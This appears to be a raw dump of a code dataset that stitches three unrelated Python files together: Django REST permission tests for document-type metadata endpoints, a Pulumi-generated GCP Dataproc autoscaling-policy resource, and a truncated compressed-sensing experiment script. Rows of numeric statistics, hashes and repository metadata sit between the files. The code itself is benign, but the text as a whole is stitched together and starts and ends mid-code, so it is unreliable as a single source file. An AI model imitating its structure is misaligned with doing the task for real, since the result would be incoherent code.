self.assertEqual(events[0].target, self.test_document_type)
self.assertEqual(
events[0].verb, event_metadata_type_relationship_updated.id
)
def test_document_type_metadata_type_list_api_view_no_permission(self):
self._create_test_document_type_metadata_type()
self._clear_events()
response = self._request_document_type_metadata_type_list_api_view()
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_document_type_metadata_type_list_api_view_document_type_access(self):
self._create_test_document_type_metadata_type()
self.grant_access(
obj=self.test_document_type,
permission=permission_document_type_view
)
self._clear_events()
response = self._request_document_type_metadata_type_list_api_view()
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['count'], 0)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_document_type_metadata_type_list_api_view_metadata_type_access(self):
self._create_test_document_type_metadata_type()
self.grant_access(
obj=self.test_metadata_type,
permission=permission_metadata_type_view
)
self._clear_events()
response = self._request_document_type_metadata_type_list_api_view()
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_document_type_metadata_type_list_api_view_with_full_access(self):
self._create_test_document_type_metadata_type()
self.grant_access(
obj=self.test_document_type,
permission=permission_document_type_view
)
self.grant_access(
obj=self.test_metadata_type,
permission=permission_metadata_type_view
)
self._clear_events()
response = self._request_document_type_metadata_type_list_api_view()
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(
response.data['results'][0]['id'],
self.test_document_type_metadata_type.pk
)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_document_type_metadata_type_patch_api_view_no_permission(self):
self._create_test_document_type_metadata_type()
self._clear_events()
response = self._request_document_type_metadata_type_edit_api_view_via_patch()
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
document_type_metadata_type = DocumentTypeMetadataType.objects.first()
self.assertFalse(document_type_metadata_type.required, True)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_document_type_metadata_type_patch_api_view_with_document_type_access(self):
self._create_test_document_type_metadata_type()
self.grant_access(
obj=self.test_document_type,
permission=permission_document_type_edit
)
self._clear_events()
response = self._request_document_type_metadata_type_edit_api_view_via_patch()
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
document_type_metadata_type = DocumentTypeMetadataType.objects.first()
self.assertFalse(document_type_metadata_type.required, True)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_document_type_metadata_type_patch_api_view_with_metadata_type_access(self):
self._create_test_document_type_metadata_type()
self.grant_access(
obj=self.test_metadata_type,
permission=permission_metadata_type_edit
)
self._clear_events()
response = self._request_document_type_metadata_type_edit_api_view_via_patch()
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
document_type_metadata_type = DocumentTypeMetadataType.objects.first()
self.assertFalse(document_type_metadata_type.required, True)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_document_type_metadata_type_patch_api_view_with_full_access(self):
self._create_test_document_type_metadata_type()
self.grant_access(
obj=self.test_document_type,
permission=permission_document_type_edit
)
self.grant_access(
obj=self.test_metadata_type,
permission=permission_metadata_type_edit
)
self._clear_events()
response = self._request_document_type_metadata_type_edit_api_view_via_patch()
self.assertEqual(response.status_code, status.HTTP_200_OK)
document_type_metadata_type = DocumentTypeMetadataType.objects.first()
self.assertEqual(document_type_metadata_type.required, True)
events = self._get_test_events()
self.assertEqual(events.count(), 1)
self.assertEqual(events[0].action_object, self.test_metadata_type)
self.assertEqual(events[0].actor, self._test_case_user)
self.assertEqual(events[0].target, self.test_document_type)
self.assertEqual(
events[0].verb, event_metadata_type_relationship_updated.id
)
def test_document_type_metadata_type_put_api_view_no_permission(self):
self._create_test_document_type_metadata_type()
self._clear_events()
response = self._request_document_type_metadata_type_edit_api_view_via_put()
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
document_type_metadata_type = DocumentTypeMetadataType.objects.first()
self.assertFalse(document_type_metadata_type.required, True)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_document_type_metadata_type_put_api_view_with_document_type_access(self):
self._create_test_document_type_metadata_type()
self.grant_access(
obj=self.test_document_type,
permission=permission_document_type_edit
)
self._clear_events()
response = self._request_document_type_metadata_type_edit_api_view_via_put()
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
document_type_metadata_type = DocumentTypeMetadataType.objects.first()
self.assertFalse(document_type_metadata_type.required, True)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_document_type_metadata_type_put_api_view_with_metadata_type_access(self):
self._create_test_document_type_metadata_type()
self.grant_access(
obj=self.test_metadata_type,
permission=permission_metadata_type_edit
)
self._clear_events()
response = self._request_document_type_metadata_type_edit_api_view_via_put()
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
document_type_metadata_type = DocumentTypeMetadataType.objects.first()
self.assertFalse(document_type_metadata_type.required, True)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_document_type_metadata_type_put_api_view_with_full_access(self):
self._create_test_document_type_metadata_type()
self.grant_access(
obj=self.test_document_type,
permission=permission_document_type_edit
)
self.grant_access(
obj=self.test_metadata_type,
permission=permission_metadata_type_edit
)
self._clear_events()
response = self._request_document_type_metadata_type_edit_api_view_via_put()
self.assertEqual(response.status_code, status.HTTP_200_OK)
document_type_metadata_type = DocumentTypeMetadataType.objects.first()
self.assertEqual(document_type_metadata_type.required, True)
events = self._get_test_events()
self.assertEqual(events.count(), 1)
self.assertEqual(events[0].action_object, self.test_metadata_type)
self.assertEqual(events[0].actor, self._test_case_user)
self.assertEqual(events[0].target, self.test_document_type)
self.assertEqual(
events[0].verb, event_metadata_type_relationship_updated.id
)
| 35.659639 | 89 | 0.717628 | 2,814 | 23,678 | 5.527719 | 0.039801 | 0.151205 | 0.08846 | 0.120347 | 0.928962 | 0.923112 | 0.922854 | 0.914304 | 0.913275 | 0.906075 | 0 | 0.009312 | 0.206352 | 23,678 | 663 | 90 | 35.713424 | 0.818433 | 0 | 0 | 0.754678 | 0 | 0 | 0.002365 | 0 | 0 | 0 | 0 | 0 | 0.257796 | 1 | 0.070686 | false | 0 | 0.016632 | 0 | 0.093555 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
da321eedbf2aeeab9c22808e8a300b4d8f179b92 | 25,289 | py | Python | sdk/python/pulumi_gcp/dataproc/autoscaling_policy.py | sisisin/pulumi-gcp | af6681d70ea457843409110c1324817fe55f68ad | [
"ECL-2.0",
"Apache-2.0"
] | 121 | 2018-06-18T19:16:42.000Z | 2022-03-31T06:06:48.000Z | sdk/python/pulumi_gcp/dataproc/autoscaling_policy.py | sisisin/pulumi-gcp | af6681d70ea457843409110c1324817fe55f68ad | [
"ECL-2.0",
"Apache-2.0"
] | 492 | 2018-06-22T19:41:03.000Z | 2022-03-31T15:33:53.000Z | sdk/python/pulumi_gcp/dataproc/autoscaling_policy.py | sisisin/pulumi-gcp | af6681d70ea457843409110c1324817fe55f68ad | [
"ECL-2.0",
"Apache-2.0"
] | 43 | 2018-06-19T01:43:13.000Z | 2022-03-23T22:43:37.000Z | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
from . import outputs
from ._inputs import *
__all__ = ['AutoscalingPolicyArgs', 'AutoscalingPolicy']
@pulumi.input_type
class AutoscalingPolicyArgs:
def __init__(__self__, *,
policy_id: pulumi.Input[str],
basic_algorithm: Optional[pulumi.Input['AutoscalingPolicyBasicAlgorithmArgs']] = None,
location: Optional[pulumi.Input[str]] = None,
project: Optional[pulumi.Input[str]] = None,
secondary_worker_config: Optional[pulumi.Input['AutoscalingPolicySecondaryWorkerConfigArgs']] = None,
worker_config: Optional[pulumi.Input['AutoscalingPolicyWorkerConfigArgs']] = None):
"""
The set of arguments for constructing a AutoscalingPolicy resource.
:param pulumi.Input[str] policy_id: The policy id. The id must contain only letters (a-z, A-Z), numbers (0-9), underscores (_),
and hyphens (-). Cannot begin or end with underscore or hyphen. Must consist of between
3 and 50 characters.
:param pulumi.Input['AutoscalingPolicyBasicAlgorithmArgs'] basic_algorithm: Basic algorithm for autoscaling.
Structure is documented below.
:param pulumi.Input[str] location: The location where the autoscaling policy should reside.
The default value is `global`.
:param pulumi.Input[str] project: The ID of the project in which the resource belongs.
If it is not provided, the provider project is used.
:param pulumi.Input['AutoscalingPolicySecondaryWorkerConfigArgs'] secondary_worker_config: Describes how the autoscaler will operate for secondary workers.
Structure is documented below.
:param pulumi.Input['AutoscalingPolicyWorkerConfigArgs'] worker_config: Describes how the autoscaler will operate for primary workers.
Structure is documented below.
"""
pulumi.set(__self__, "policy_id", policy_id)
if basic_algorithm is not None:
pulumi.set(__self__, "basic_algorithm", basic_algorithm)
if location is not None:
pulumi.set(__self__, "location", location)
if project is not None:
pulumi.set(__self__, "project", project)
if secondary_worker_config is not None:
pulumi.set(__self__, "secondary_worker_config", secondary_worker_config)
if worker_config is not None:
pulumi.set(__self__, "worker_config", worker_config)
@property
@pulumi.getter(name="policyId")
def policy_id(self) -> pulumi.Input[str]:
"""
The policy id. The id must contain only letters (a-z, A-Z), numbers (0-9), underscores (_),
and hyphens (-). Cannot begin or end with underscore or hyphen. Must consist of between
3 and 50 characters.
"""
return pulumi.get(self, "policy_id")
@policy_id.setter
def policy_id(self, value: pulumi.Input[str]):
pulumi.set(self, "policy_id", value)
@property
@pulumi.getter(name="basicAlgorithm")
def basic_algorithm(self) -> Optional[pulumi.Input['AutoscalingPolicyBasicAlgorithmArgs']]:
"""
Basic algorithm for autoscaling.
Structure is documented below.
"""
return pulumi.get(self, "basic_algorithm")
@basic_algorithm.setter
def basic_algorithm(self, value: Optional[pulumi.Input['AutoscalingPolicyBasicAlgorithmArgs']]):
pulumi.set(self, "basic_algorithm", value)
@property
@pulumi.getter
def location(self) -> Optional[pulumi.Input[str]]:
"""
The location where the autoscaling policy should reside.
The default value is `global`.
"""
return pulumi.get(self, "location")
@location.setter
def location(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "location", value)
@property
@pulumi.getter
def project(self) -> Optional[pulumi.Input[str]]:
"""
The ID of the project in which the resource belongs.
If it is not provided, the provider project is used.
"""
return pulumi.get(self, "project")
@project.setter
def project(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "project", value)
@property
@pulumi.getter(name="secondaryWorkerConfig")
def secondary_worker_config(self) -> Optional[pulumi.Input['AutoscalingPolicySecondaryWorkerConfigArgs']]:
"""
Describes how the autoscaler will operate for secondary workers.
Structure is documented below.
"""
return pulumi.get(self, "secondary_worker_config")
@secondary_worker_config.setter
def secondary_worker_config(self, value: Optional[pulumi.Input['AutoscalingPolicySecondaryWorkerConfigArgs']]):
pulumi.set(self, "secondary_worker_config", value)
@property
@pulumi.getter(name="workerConfig")
def worker_config(self) -> Optional[pulumi.Input['AutoscalingPolicyWorkerConfigArgs']]:
"""
Describes how the autoscaler will operate for primary workers.
Structure is documented below.
"""
return pulumi.get(self, "worker_config")
@worker_config.setter
def worker_config(self, value: Optional[pulumi.Input['AutoscalingPolicyWorkerConfigArgs']]):
pulumi.set(self, "worker_config", value)
@pulumi.input_type
class _AutoscalingPolicyState:
def __init__(__self__, *,
basic_algorithm: Optional[pulumi.Input['AutoscalingPolicyBasicAlgorithmArgs']] = None,
location: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
policy_id: Optional[pulumi.Input[str]] = None,
project: Optional[pulumi.Input[str]] = None,
secondary_worker_config: Optional[pulumi.Input['AutoscalingPolicySecondaryWorkerConfigArgs']] = None,
worker_config: Optional[pulumi.Input['AutoscalingPolicyWorkerConfigArgs']] = None):
"""
Input properties used for looking up and filtering AutoscalingPolicy resources.
:param pulumi.Input['AutoscalingPolicyBasicAlgorithmArgs'] basic_algorithm: Basic algorithm for autoscaling.
Structure is documented below.
:param pulumi.Input[str] location: The location where the autoscaling policy should reside.
The default value is `global`.
:param pulumi.Input[str] name: The "resource name" of the autoscaling policy.
:param pulumi.Input[str] policy_id: The policy id. The id must contain only letters (a-z, A-Z), numbers (0-9), underscores (_),
and hyphens (-). Cannot begin or end with underscore or hyphen. Must consist of between
3 and 50 characters.
:param pulumi.Input[str] project: The ID of the project in which the resource belongs.
If it is not provided, the provider project is used.
:param pulumi.Input['AutoscalingPolicySecondaryWorkerConfigArgs'] secondary_worker_config: Describes how the autoscaler will operate for secondary workers.
Structure is documented below.
:param pulumi.Input['AutoscalingPolicyWorkerConfigArgs'] worker_config: Describes how the autoscaler will operate for primary workers.
Structure is documented below.
"""
if basic_algorithm is not None:
pulumi.set(__self__, "basic_algorithm", basic_algorithm)
if location is not None:
pulumi.set(__self__, "location", location)
if name is not None:
pulumi.set(__self__, "name", name)
if policy_id is not None:
pulumi.set(__self__, "policy_id", policy_id)
if project is not None:
pulumi.set(__self__, "project", project)
if secondary_worker_config is not None:
pulumi.set(__self__, "secondary_worker_config", secondary_worker_config)
if worker_config is not None:
pulumi.set(__self__, "worker_config", worker_config)
@property
@pulumi.getter(name="basicAlgorithm")
def basic_algorithm(self) -> Optional[pulumi.Input['AutoscalingPolicyBasicAlgorithmArgs']]:
"""
Basic algorithm for autoscaling.
Structure is documented below.
"""
return pulumi.get(self, "basic_algorithm")
@basic_algorithm.setter
def basic_algorithm(self, value: Optional[pulumi.Input['AutoscalingPolicyBasicAlgorithmArgs']]):
pulumi.set(self, "basic_algorithm", value)
@property
@pulumi.getter
def location(self) -> Optional[pulumi.Input[str]]:
"""
The location where the autoscaling policy should reside.
The default value is `global`.
"""
return pulumi.get(self, "location")
@location.setter
def location(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "location", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
The "resource name" of the autoscaling policy.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="policyId")
def policy_id(self) -> Optional[pulumi.Input[str]]:
"""
The policy id. The id must contain only letters (a-z, A-Z), numbers (0-9), underscores (_),
and hyphens (-). Cannot begin or end with underscore or hyphen. Must consist of between
3 and 50 characters.
"""
return pulumi.get(self, "policy_id")
@policy_id.setter
def policy_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "policy_id", value)
@property
@pulumi.getter
def project(self) -> Optional[pulumi.Input[str]]:
"""
The ID of the project in which the resource belongs.
If it is not provided, the provider project is used.
"""
return pulumi.get(self, "project")
@project.setter
def project(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "project", value)
@property
@pulumi.getter(name="secondaryWorkerConfig")
def secondary_worker_config(self) -> Optional[pulumi.Input['AutoscalingPolicySecondaryWorkerConfigArgs']]:
"""
Describes how the autoscaler will operate for secondary workers.
Structure is documented below.
"""
return pulumi.get(self, "secondary_worker_config")
@secondary_worker_config.setter
def secondary_worker_config(self, value: Optional[pulumi.Input['AutoscalingPolicySecondaryWorkerConfigArgs']]):
pulumi.set(self, "secondary_worker_config", value)
@property
@pulumi.getter(name="workerConfig")
def worker_config(self) -> Optional[pulumi.Input['AutoscalingPolicyWorkerConfigArgs']]:
"""
Describes how the autoscaler will operate for primary workers.
Structure is documented below.
"""
return pulumi.get(self, "worker_config")
@worker_config.setter
def worker_config(self, value: Optional[pulumi.Input['AutoscalingPolicyWorkerConfigArgs']]):
pulumi.set(self, "worker_config", value)
class AutoscalingPolicy(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
basic_algorithm: Optional[pulumi.Input[pulumi.InputType['AutoscalingPolicyBasicAlgorithmArgs']]] = None,
location: Optional[pulumi.Input[str]] = None,
policy_id: Optional[pulumi.Input[str]] = None,
project: Optional[pulumi.Input[str]] = None,
secondary_worker_config: Optional[pulumi.Input[pulumi.InputType['AutoscalingPolicySecondaryWorkerConfigArgs']]] = None,
worker_config: Optional[pulumi.Input[pulumi.InputType['AutoscalingPolicyWorkerConfigArgs']]] = None,
__props__=None):
"""
Describes an autoscaling policy for Dataproc cluster autoscaler.
## Example Usage
### Dataproc Autoscaling Policy
```python
import pulumi
import pulumi_gcp as gcp
asp = gcp.dataproc.AutoscalingPolicy("asp",
policy_id="dataproc-policy",
location="us-central1",
worker_config=gcp.dataproc.AutoscalingPolicyWorkerConfigArgs(
max_instances=3,
),
basic_algorithm=gcp.dataproc.AutoscalingPolicyBasicAlgorithmArgs(
yarn_config=gcp.dataproc.AutoscalingPolicyBasicAlgorithmYarnConfigArgs(
graceful_decommission_timeout="30s",
scale_up_factor=0.5,
scale_down_factor=0.5,
),
))
basic = gcp.dataproc.Cluster("basic",
region="us-central1",
cluster_config=gcp.dataproc.ClusterClusterConfigArgs(
autoscaling_config=gcp.dataproc.ClusterClusterConfigAutoscalingConfigArgs(
policy_uri=asp.name,
),
))
```
## Import
AutoscalingPolicy can be imported using any of these accepted formats
```sh
$ pulumi import gcp:dataproc/autoscalingPolicy:AutoscalingPolicy default projects/{{project}}/locations/{{location}}/autoscalingPolicies/{{policy_id}}
```
```sh
$ pulumi import gcp:dataproc/autoscalingPolicy:AutoscalingPolicy default {{project}}/{{location}}/{{policy_id}}
```
```sh
$ pulumi import gcp:dataproc/autoscalingPolicy:AutoscalingPolicy default {{location}}/{{policy_id}}
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[pulumi.InputType['AutoscalingPolicyBasicAlgorithmArgs']] basic_algorithm: Basic algorithm for autoscaling.
Structure is documented below.
:param pulumi.Input[str] location: The location where the autoscaling policy should reside.
The default value is `global`.
:param pulumi.Input[str] policy_id: The policy id. The id must contain only letters (a-z, A-Z), numbers (0-9), underscores (_),
and hyphens (-). Cannot begin or end with underscore or hyphen. Must consist of between
3 and 50 characters.
:param pulumi.Input[str] project: The ID of the project in which the resource belongs.
If it is not provided, the provider project is used.
:param pulumi.Input[pulumi.InputType['AutoscalingPolicySecondaryWorkerConfigArgs']] secondary_worker_config: Describes how the autoscaler will operate for secondary workers.
Structure is documented below.
:param pulumi.Input[pulumi.InputType['AutoscalingPolicyWorkerConfigArgs']] worker_config: Describes how the autoscaler will operate for primary workers.
Structure is documented below.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: AutoscalingPolicyArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Describes an autoscaling policy for Dataproc cluster autoscaler.
## Example Usage
### Dataproc Autoscaling Policy
```python
import pulumi
import pulumi_gcp as gcp
asp = gcp.dataproc.AutoscalingPolicy("asp",
policy_id="dataproc-policy",
location="us-central1",
worker_config=gcp.dataproc.AutoscalingPolicyWorkerConfigArgs(
max_instances=3,
),
basic_algorithm=gcp.dataproc.AutoscalingPolicyBasicAlgorithmArgs(
yarn_config=gcp.dataproc.AutoscalingPolicyBasicAlgorithmYarnConfigArgs(
graceful_decommission_timeout="30s",
scale_up_factor=0.5,
scale_down_factor=0.5,
),
))
basic = gcp.dataproc.Cluster("basic",
region="us-central1",
cluster_config=gcp.dataproc.ClusterClusterConfigArgs(
autoscaling_config=gcp.dataproc.ClusterClusterConfigAutoscalingConfigArgs(
policy_uri=asp.name,
),
))
```
## Import
AutoscalingPolicy can be imported using any of these accepted formats
```sh
$ pulumi import gcp:dataproc/autoscalingPolicy:AutoscalingPolicy default projects/{{project}}/locations/{{location}}/autoscalingPolicies/{{policy_id}}
```
```sh
$ pulumi import gcp:dataproc/autoscalingPolicy:AutoscalingPolicy default {{project}}/{{location}}/{{policy_id}}
```
```sh
$ pulumi import gcp:dataproc/autoscalingPolicy:AutoscalingPolicy default {{location}}/{{policy_id}}
```
:param str resource_name: The name of the resource.
:param AutoscalingPolicyArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(AutoscalingPolicyArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
basic_algorithm: Optional[pulumi.Input[pulumi.InputType['AutoscalingPolicyBasicAlgorithmArgs']]] = None,
location: Optional[pulumi.Input[str]] = None,
policy_id: Optional[pulumi.Input[str]] = None,
project: Optional[pulumi.Input[str]] = None,
secondary_worker_config: Optional[pulumi.Input[pulumi.InputType['AutoscalingPolicySecondaryWorkerConfigArgs']]] = None,
worker_config: Optional[pulumi.Input[pulumi.InputType['AutoscalingPolicyWorkerConfigArgs']]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = AutoscalingPolicyArgs.__new__(AutoscalingPolicyArgs)
__props__.__dict__["basic_algorithm"] = basic_algorithm
__props__.__dict__["location"] = location
if policy_id is None and not opts.urn:
raise TypeError("Missing required property 'policy_id'")
__props__.__dict__["policy_id"] = policy_id
__props__.__dict__["project"] = project
__props__.__dict__["secondary_worker_config"] = secondary_worker_config
__props__.__dict__["worker_config"] = worker_config
__props__.__dict__["name"] = None
super(AutoscalingPolicy, __self__).__init__(
'gcp:dataproc/autoscalingPolicy:AutoscalingPolicy',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
basic_algorithm: Optional[pulumi.Input[pulumi.InputType['AutoscalingPolicyBasicAlgorithmArgs']]] = None,
location: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
policy_id: Optional[pulumi.Input[str]] = None,
project: Optional[pulumi.Input[str]] = None,
secondary_worker_config: Optional[pulumi.Input[pulumi.InputType['AutoscalingPolicySecondaryWorkerConfigArgs']]] = None,
worker_config: Optional[pulumi.Input[pulumi.InputType['AutoscalingPolicyWorkerConfigArgs']]] = None) -> 'AutoscalingPolicy':
"""
Get an existing AutoscalingPolicy resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[pulumi.InputType['AutoscalingPolicyBasicAlgorithmArgs']] basic_algorithm: Basic algorithm for autoscaling.
Structure is documented below.
:param pulumi.Input[str] location: The location where the autoscaling policy should reside.
The default value is `global`.
:param pulumi.Input[str] name: The "resource name" of the autoscaling policy.
:param pulumi.Input[str] policy_id: The policy id. The id must contain only letters (a-z, A-Z), numbers (0-9), underscores (_),
and hyphens (-). Cannot begin or end with underscore or hyphen. Must consist of between
3 and 50 characters.
:param pulumi.Input[str] project: The ID of the project in which the resource belongs.
If it is not provided, the provider project is used.
:param pulumi.Input[pulumi.InputType['AutoscalingPolicySecondaryWorkerConfigArgs']] secondary_worker_config: Describes how the autoscaler will operate for secondary workers.
Structure is documented below.
:param pulumi.Input[pulumi.InputType['AutoscalingPolicyWorkerConfigArgs']] worker_config: Describes how the autoscaler will operate for primary workers.
Structure is documented below.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _AutoscalingPolicyState.__new__(_AutoscalingPolicyState)
__props__.__dict__["basic_algorithm"] = basic_algorithm
__props__.__dict__["location"] = location
__props__.__dict__["name"] = name
__props__.__dict__["policy_id"] = policy_id
__props__.__dict__["project"] = project
__props__.__dict__["secondary_worker_config"] = secondary_worker_config
__props__.__dict__["worker_config"] = worker_config
return AutoscalingPolicy(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter(name="basicAlgorithm")
def basic_algorithm(self) -> pulumi.Output[Optional['outputs.AutoscalingPolicyBasicAlgorithm']]:
"""
Basic algorithm for autoscaling.
Structure is documented below.
"""
return pulumi.get(self, "basic_algorithm")
@property
@pulumi.getter
def location(self) -> pulumi.Output[Optional[str]]:
"""
The location where the autoscaling policy should reside.
The default value is `global`.
"""
return pulumi.get(self, "location")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
"""
The "resource name" of the autoscaling policy.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter(name="policyId")
def policy_id(self) -> pulumi.Output[str]:
"""
The policy id. The id must contain only letters (a-z, A-Z), numbers (0-9), underscores (_),
and hyphens (-). Cannot begin or end with underscore or hyphen. Must consist of between
3 and 50 characters.
"""
return pulumi.get(self, "policy_id")
@property
@pulumi.getter
def project(self) -> pulumi.Output[str]:
"""
The ID of the project in which the resource belongs.
If it is not provided, the provider project is used.
"""
return pulumi.get(self, "project")
@property
@pulumi.getter(name="secondaryWorkerConfig")
def secondary_worker_config(self) -> pulumi.Output[Optional['outputs.AutoscalingPolicySecondaryWorkerConfig']]:
"""
Describes how the autoscaler will operate for secondary workers.
Structure is documented below.
"""
return pulumi.get(self, "secondary_worker_config")
@property
@pulumi.getter(name="workerConfig")
def worker_config(self) -> pulumi.Output[Optional['outputs.AutoscalingPolicyWorkerConfig']]:
"""
Describes how the autoscaler will operate for primary workers.
Structure is documented below.
"""
return pulumi.get(self, "worker_config")
| 45.730561 | 181 | 0.656728 | 2,632 | 25,289 | 6.116641 | 0.083207 | 0.060128 | 0.064911 | 0.038263 | 0.875458 | 0.862476 | 0.852165 | 0.843903 | 0.837133 | 0.823902 | 0 | 0.002846 | 0.249595 | 25,289 | 552 | 182 | 45.813406 | 0.845497 | 0.405987 | 0 | 0.741036 | 1 | 0 | 0.172471 | 0.110099 | 0 | 0 | 0 | 0 | 0 | 1 | 0.159363 | false | 0.003984 | 0.027888 | 0 | 0.282869 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
16f50a737b71c03d4b0f910bdf71a1dfadcf2e49 | 30,173 | py | Python | run_experiments.py | nik-sm/generator-surgery | b4a2213a86b8faae88efce18cb129eeaf4161252 | [
"MIT"
] | null | null | null | run_experiments.py | nik-sm/generator-surgery | b4a2213a86b8faae88efce18cb129eeaf4161252 | [
"MIT"
] | null | null | null | run_experiments.py | nik-sm/generator-surgery | b4a2213a86b8faae88efce18cb129eeaf4161252 | [
"MIT"
] | 1 | 2021-12-27T16:17:14.000Z | 2021-12-27T16:17:14.000Z | import argparse
import os
import pickle
from pathlib import Path
import numpy as np
import torch
from tqdm import tqdm
from deep_decoder import deep_decoder_recover
from forward_model import get_forward_model
from iagan import iagan_recover
from mgan import mgan_recover
from model.began import Generator128
from model.biggan import BigGanSkip
from model.dcgan import Generator as dcgan_generator
from model.vae import VAE
from recover import recover, recover_dct
from settings import baseline_settings, forward_models, recovery_settings
from utils import (dict_to_str, get_baseline_results_folder, get_images_folder,
get_results_folder, load_target_image, load_trained_net,
psnr)
DEVICE = 'cuda:0' if torch.cuda.is_available() else 'cpu'
BASE_DIR = './runs'
def lasso_cs_images(args):
if args.set_seed:
torch.manual_seed(0)
np.random.seed(0)
torch.backends.cudnn.deterministic = True
torch.backends.cudnn.benchmark = False
os.makedirs(BASE_DIR, exist_ok=True)
if args.model in ['lasso-dct-64', 'lasso-dct-128']:
recover_fn = recover_dct
else:
raise NotImplementedError()
metadata = baseline_settings[args.model]
assert len(metadata['n_measure']) == len(metadata['lasso_coeff'])
data_split = Path(args.img_dir).name
for img_name in tqdm(sorted(os.listdir(args.img_dir)),
desc='Images',
leave=True,
disable=args.disable_tqdm):
# Load image and get filename without extension
orig_img = load_target_image(os.path.join(args.img_dir, img_name),
metadata['img_size']).numpy().transpose(
[1, 2, 0])
img_basename, _ = os.path.splitext(img_name)
for n_measure, lasso_coeff in zip(
tqdm(metadata['n_measure'],
desc='N_measure',
leave=False,
disable=args.disable_tqdm), metadata['lasso_coeff']):
# Before doing recovery, check if results already exist
# and possibly skip
recovered_name = 'recovered.npy'
results_folder = get_baseline_results_folder(
image_name=img_basename,
model=args.model,
split=data_split,
n_measure=n_measure,
lasso_coeff=lasso_coeff,
base_dir=BASE_DIR)
os.makedirs(results_folder, exist_ok=True)
recovered_path = results_folder / recovered_name
if os.path.exists(recovered_path) and not args.overwrite:
print(f'{recovered_path} already exists, skipping...')
continue
recovered_img = recover_fn(orig_img, n_measure, lasso_coeff,
metadata['img_size'])
# Make images folder
img_folder = get_images_folder(split=data_split,
image_name=img_basename,
img_size=metadata['img_size'],
base_dir=BASE_DIR)
os.makedirs(img_folder, exist_ok=True)
# Save original image if needed
original_img_path = img_folder / 'original.npy'
if not os.path.exists(original_img_path):
np.save(original_img_path, orig_img)
# Save recovered image and metadata
np.save(recovered_path, recovered_img)
pickle.dump(metadata, open(results_folder / 'metadata.pkl', 'wb'))
pickle.dump(psnr(recovered_img, orig_img),
open(results_folder / 'psnr.pkl', 'wb'))
def gan_images(args):
if args.set_seed:
torch.manual_seed(0)
np.random.seed(0)
